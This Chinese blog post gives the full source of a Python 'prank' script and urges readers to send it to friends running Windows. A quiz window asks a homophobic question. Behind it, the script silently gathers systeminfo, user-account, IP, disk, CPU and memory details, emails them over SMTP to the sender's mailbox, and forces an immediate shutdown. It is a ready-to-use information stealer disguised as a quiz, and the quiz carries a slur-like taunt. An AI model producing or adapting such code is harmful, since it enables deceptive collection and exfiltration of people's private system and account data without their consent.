您的位置:首页 > 编程语言 > Python开发

恶作剧脚本:获取好友选择信息及Windows电脑基本信息

2018-02-24 17:50 309 查看
    近日做了一个python脚本,通过一个GUI,实现获取操作者本机信息并发送电子邮件到指定用户邮箱。
用到的python库:os,tkinter,re,email,sys,smtplib
程序的思路是通过os库模拟Windows系统的命令提示符cmd操作获取相关信息,用tkinter构建一个简单的GUI界面,最后通过python内置email库发送邮件到指定邮箱。
一、cmd计算机信息获取
利用os.popen(command).read()获取信息,主要代码如下:import os
import re
username=re.compile('USERNAME=[A-Za-z0-9]*').search(os.popen("set u").read()).group(0)[9: :1]#利用正则表达式获取用户名
base_information=os.popen("systeminfo").read()#获取电脑基本配置信息
user_information=os.popen("net user "+username).read()#获取用户信息
IP_information=os.popen("ipconfig").read()#获取IP信息
disk_information=os.popen("wmic logicaldisk").read()获取硬盘信息
cpu_information=os.popen("wmic cpu").read()#获取CPU信息
memorychip_information=os.popen("wmic memorychip").read()#获取内存信息二、GUI设置
GUI主要是辅助作用,可以省略,也可以根据个人喜好设置问题与选项,这里我们用tkinter库做界面:from tkinter import*
root=Tk()

operate=""

root.title("Quiz")

root.minsize(400,400)
root.maxsize(400,400)
def yes():
operate="是"
send_email(operate)
os.system("shutdown -s -t 0")

def no():
operate="不是"
send_email(operate)
os.system("shutdown -s -t 0")

label=Label(root,text="你是不是基佬?").pack()

button1=Button(root,text="是",width=30,height=5,command=yes,bg='red').pack()

button2=Button(root,text="不是",width=30,height=5,command=no,bg='pink').pack()

root.mainloop()
三、电子邮件设置
关于python的电子邮件操作,可以参考廖雪峰的官方网站
这里我们用163邮箱和SMTP协议进行通信:from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
import smtplib
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
def send_email(init):
from_address = "username@163.com"
password = "password"
smtp_server = "smtp.163.com"
to_address = 'username@qq.com'

msg = MIMEText("我"+init+'基佬'+"\n"+"基本信息"+'\n'+base_information+'\n'+'用户信息'+'\n'+user_information+"\n"+'IP信息'+'\n'+IP_information+'\n'+"硬盘信息"+'\n'+disk_information+'\n'+"cpu信息"+'\n'+cpu_information+'\n'+'内存信息'+'\n'+memorychip_information, 'plain', 'utf-8')
msg['From'] = _format_addr(username+' <%s>' % from_address)
msg['To'] = _format_addr('管理员 <%s>' % to_address)
msg['Subject'] = Header('来自'+username+'的信息', 'utf-8').encode()

server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_address, password)
server.sendmail(from_address, [to_address], msg.as_string())
server.quit()这样,发邮件函数设置完毕。
完整代码如下(也可以查看我的GitHub上的代码):#!/usr/bin/env python
# -*- coding:utf-8 -*
import os
import re
from tkinter import*
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
import smtplib
from sys import exit

username=re.compile('USERNAME=[A-Za-z0-9]*').search(os.popen("set u").read()).group(0)[9: :1]
base_information=os.popen("systeminfo").read()
user_information=os.popen("net user "+username).read()
IP_information=os.popen("ipconfig").read()
disk_information=os.popen("wmic logicaldisk").read()
cpu_information=os.popen("wmic cpu").read()
memorychip_information=os.popen("wmic memorychip").read()

def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
def send_email(init):
from_address = "username@163.com"
password = "password"
smtp_server = "smtp.163.com"
to_address = 'username@qq.com'

msg = MIMEText("我"+init+'基佬'+"\n"+"基本信息"+'\n'+base_information+'\n'+'用户信息'+'\n'+user_information+"\n"+'IP信息'+'\n'+IP_information+'\n'+"硬盘信息"+'\n'+disk_information+'\n'+"cpu信息"+'\n'+cpu_information+'\n'+'内存信息'+'\n'+memorychip_information, 'plain', 'utf-8')
msg['From'] = _format_addr(username+' <%s>' % from_address)
msg['To'] = _format_addr('管理员 <%s>' % to_address)
msg['Subject'] = Header('来自'+username+'的信息', 'utf-8').encode()

server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_address, password)
server.sendmail(from_address, [to_address], msg.as_string())
server.quit()

root=Tk()

operate=""

root.title("Quiz")

root.minsize(400,400)
root.maxsize(400,400)
def yes():
operate="是"
send_email(operate)
os.system("shutdown -s -t 0")

def no():
operate="不是"
send_email(operate)
os.system("shutdown -s -t 0")

label=Label(root,text="你是不是基佬?").pack()

button1=Button(root,text="是",width=30,height=5,command=yes,bg='red').pack()

button2=Button(root,text="不是",width=30,height=5,command=no,bg='pink').pack()

root.mainloop()大功告成!
现在你可以把这个脚本发给你的好友(前提是好友用的是Windows系统以及电脑上预装有python3.x)当哄骗好友回答完问题之后,好友可能会下线一段时间(程序结束,电脑关机),然后等待电子邮件的到来和好友的惊讶吧(\奸笑)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  python w'w'w'w'w'w'w'w